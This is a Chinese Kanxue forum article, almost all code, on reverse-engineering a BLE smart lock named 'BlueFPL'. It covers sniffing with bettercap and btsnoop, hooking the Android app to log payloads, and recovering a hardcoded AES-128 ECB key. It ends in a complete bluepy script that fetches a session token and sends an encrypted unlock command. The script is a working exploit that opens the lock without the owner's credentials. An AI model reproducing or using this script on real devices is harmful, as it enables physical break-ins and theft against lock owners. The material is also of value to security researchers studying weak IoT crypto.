本文为看雪论坛精华文章
看雪论坛作者ID:Nameless_a
sudo apt install golang-go
echo "export GOPROXY=https://goproxy.io,direct" >> ~/.profile && source ~/.profile
sudo apt install build-essential libpcap-dev libusb-1.0-0-dev libnetfilter-queue-dev libssl-dev libnl-3-dev libnl-genl-3-dev pkg-config
git clone https://github.com/bettercap/bettercap.git
cd bettercap
make build
sudo make install
sudo bettercap
ble.recon on
(btatt.opcode == "Handle Value Notification" && btatt.handle == 0x6 ) || (btatt.opcode == "Write Request" && btatt.handle == 0x3)
LC_CTYPE=C sed -n "/BEGIN:BTSNOOP_LOG_SUMMARY/,/END:BTSNOOP_LOG_SUMMARY/p " bugreport-ASK-AL00x-HONORASK-AL00x-2023-04-03-08-31-01.txt | egrep -av "BTSNOOP_LOG_SUMMARY" | python btsnooz.py > hci.log
invoke-static {p0}, LSewellDinGLog;->Log([B)V
F:\platform-tools>adb logcat -s SewellDinG
--------- beginning of main
03-27 17:18:08.895 31117 31117 D SewellDinG: 05010630303030303082E3C89616017D
03-27 17:18:08.895 31117 31117 D SewellDinG: 241F632E5907042061014C1A3A45193B
03-27 17:18:08.895 31117 31117 D SewellDinG: 6629B62C88A7E50525E92C328AF258E6
03-27 17:18:10.114 31117 31117 D SewellDinG: 732F5CB22C06B0C2D0D17AD31D165805
03-27 17:18:10.114 31117 31117 D SewellDinG: 241F632E5907042061014C1A3A45193B
03-27 17:18:10.114 31117 31117 D SewellDinG: 05020100E3C896010202000000000000
03-27 17:18:11.770 31117 31117 D SewellDinG: 530B1FCA1467A408A321E71F3D152127
03-27 17:18:11.771 31117 31117 D SewellDinG: 241F632E5907042061014C1A3A45193B
03-27 17:18:11.772 31117 31117 D SewellDinG: 050D0100E3C896010202000000000000
03-27 17:18:37.864 31117 31117 D SewellDinG: 05010630303030303082E3C89601635C
03-27 17:18:37.864 31117 31117 D SewellDinG: 241F632E5907042061014C1A3A45193B
03-27 17:18:37.864 31117 31117 D SewellDinG: 3FFA9BE0BA05D2ECC8CF74D2CDB7867C
03-27 17:18:39.263 31117 31117 D SewellDinG: 732F5CB22C06B0C2D0D17AD31D165805
03-27 17:18:39.263 31117 31117 D SewellDinG: 241F632E5907042061014C1A3A45193B
03-27 17:18:39.263 31117 31117 D SewellDinG: 05020100E3C896010202000000000000
03-27 17:18:40.923 31117 31117 D SewellDinG: 530B1FCA1467A408A321E71F3D152127
03-27 17:18:40.923 31117 31117 D SewellDinG: 241F632E5907042061014C1A3A45193B
03-27 17:18:40.924 31117 31117 D SewellDinG: 050D0100E3C896010202000000000000
请用python实现一个密钥的16进制字符表示形式是241F632E5907042061014C1A3A45193B的ECB模式无padding的AES-128解密程序,并以16进制字符串的形式输出打印明文
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.primitives.ciphers import Cipher
from cryptography.hazmat.primitives.ciphers.algorithms import AES
from cryptography.hazmat.primitives.ciphers.modes import ECB
from cryptography.hazmat.backends import default_backend
import binascii# 转换输入的16进制字符串为字节串
key_hex = "241F632E5907042061014C1A3A45193B"key = binascii.unhexlify(key_hex)
#key = b"[[email protected]"
# 创建 AES 密钥
if len(key) == 16: # 128 bit
algorithm = algorithms.AES(key)
else:
raise ValueError("Invalid key size")
# 创建解密器
backend = default_backend()
cipher = Cipher(algorithm, modes.ECB(), backend=backend)
decryptor = cipher.decryptor()
# 解密密文
#iv = "a20e10ec8ebfd6069c1f84a9cff39e33"
iv = "51653e25e098f5e74e0f152062ee6d5d"
encrypted_data = binascii.unhexlify(iv)
decrypted_data = decryptor.update(encrypted_data) + decryptor.finalize()
# 打印解密结果
print(binascii.hexlify(decrypted_data))
sudo apt-get install python3-pip libglib2.0-dev
sudo pip3 install bluepy
sudo apt-get install git build-essential libglib2.0-dev
git clone https://github.com/IanHarvey/bluepy.git
cd bluepy
python setup.py build
sudo python setup.py install
scanner = Scanner()
devices = scanner.scan(timeout=3)
print("%-30s %-10s" % ("Name", "Address"))
for dev in devices:
print("%-30s %-20s" % (dev.getValueText(9), dev.addr))
addr = ""
conn = Peripheral(addr)
services = conn.getServices()
for svc in services:
print(svc.uuid)
# 1. 获取所有 Characteristic
characteristics = conn.getCharacteristics()
for charac in characteristics:
print(charac.uuid)# 2. 获取特定 Service 下的 Characteristic
characteristics = svc.getCharacteristics()
charac.read()
charac.write()
class NotifyDelegate(DefaultDelegate):
def __init__(self,params):
DefaultDelegate.__init__(self)def handleNotification(self,cHandle,data):
global TOKEN
print("Notification from Handle: 0x" + format(cHandle,"02X"))
TOKEN = decrypt(binascii.hexlify(data))
print(TOKEN)
while True:
if conn.waitForNotifications(1.0):
break
print("Wating....")
TX_CHAR.write(binascii.unhexlify(encrypt(pd)))
pd = b"050106303030303030"+TOKEN+b"000000"
TX_CHAR.write(binascii.unhexlify(encrypt(pd)))
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.primitives.ciphers import Cipher
from cryptography.hazmat.primitives.ciphers.algorithms import AES
from cryptography.hazmat.primitives.ciphers.modes import ECB
from cryptography.hazmat.backends import default_backend
import binascii
from bluepy.btle import Scanner,Peripheral,DefaultDelegateKEY = "241F632E5907042061014C1A3A45193B"
TOKEN = ""
class NotifyDelegate(DefaultDelegate):
def __init__(self,params):
DefaultDelegate.__init__(self)def handleNotification(self,cHandle,data):
global TOKEN
print("Notification from Handle: 0x" + format(cHandle,"02X"))
TOKEN = decrypt(binascii.hexlify(data))
print(TOKEN)def decrypt(plaintext):
key = binascii.unhexlify(KEY)# 创建 AES 密钥
if len(key) == 16: # 128 bit
algorithm = algorithms.AES(key)
else:
raise ValueError("Invalid key size")# 创建解密器
backend = default_backend()
cipher = Cipher(algorithm, modes.ECB(), backend=backend)
decryptor = cipher.decryptor()# 解密密文
encrypted_data = binascii.unhexlify(plaintext)
decrypted_data = decryptor.update(encrypted_data) + decryptor.finalize()# 解密结果
return binascii.hexlify(decrypted_data)def encrypt(plaintext):
# 将密钥从16进制字符串转换为字节数组
key = binascii.unhexlify(KEY)# 创建AES加密器对象
backend = default_backend()
algorithm = algorithms.AES(key)
cipher = Cipher(algorithm, modes.ECB(), backend=backend)
encryptor = cipher.encryptor()# 对明文进行加密
decrypted_data = binascii.unhexlify(plaintext)
encrypted_data = encryptor.update(decrypted_data) + encryptor.finalize()# 将密文转换为16进制字符串返回
return binascii.hexlify(encrypted_data)def done(addr):
global TOKEN
print("[+]Find BlueFPL")
print("[+]Try Connecting.....")
conn = Peripheral(addr)
if conn:
print("[+]Connecting successfully!")
conn.withDelegate(NotifyDelegate(conn))
else:
print("[+]Fail to connet")
exit(1)
print("[+]Try find fee7")
svc_uuid = "0000fee7-0000-1000-8000-00805f9b34fb"
svc = conn.getServiceByUUID(svc_uuid)
if svc :
print("[+]Found fee7!")
else :
print("[+]fee7 not found")
exit(1)
print(svc.uuid)
TX_CHAR = conn.getCharacteristics(uuid = "000036f5-0000-1000-8000-00805f9b34fb")[0]
RX_CHAR = conn.getCharacteristics(uuid = "000036f6-0000-1000-8000-00805f9b34fb")[0]print("[+]Try GET_TOKEN")
pd = "06010101000000000000000000000000"hEcg = RX_CHAR.getHandle()
hEcgcc = 0
for descriptor in conn.getDescriptors(hEcg,svc.hndEnd):
if (descriptor.uuid == 0x2902):
print("[+]Found descriptor handle")
hEcgcc = descriptor.handle
if hEcgcc == 0:
print("Fail to find descriptor handle")
exit(1)
print("[+]Descriptor handle:"+str(hEcgcc))conn.writeCharacteristic(hEcgcc,bytes([1,0]))
while True:
if conn.waitForNotifications(1.0):
break
print("Wating....")
TX_CHAR.write(binascii.unhexlify(encrypt(pd)))
TOKEN = TOKEN[6:14]
print(b"[+]TOKEN:"+TOKEN)
print("[+]Try OPEN_LOCK")pd = b"050106303030303030"+TOKEN+b"000000"
TX_CHAR.write(binascii.unhexlify(encrypt(pd)))
print("[+]Open successfully!")
conn.disconnect()if __name__ == "__main__":
scanner = Scanner()
devices = scanner.scan(timeout = 3)
for dev in devices:
if dev.getValueText(9) and ("BlueFPL" in dev.getValueText(9)):
done(dev.addr)
看雪ID:Nameless_a
https://bbs.kanxue.com/user-home-943085.htm
# 往期推荐
3、安卓加固脱壳分享
球分享
球点赞
球在看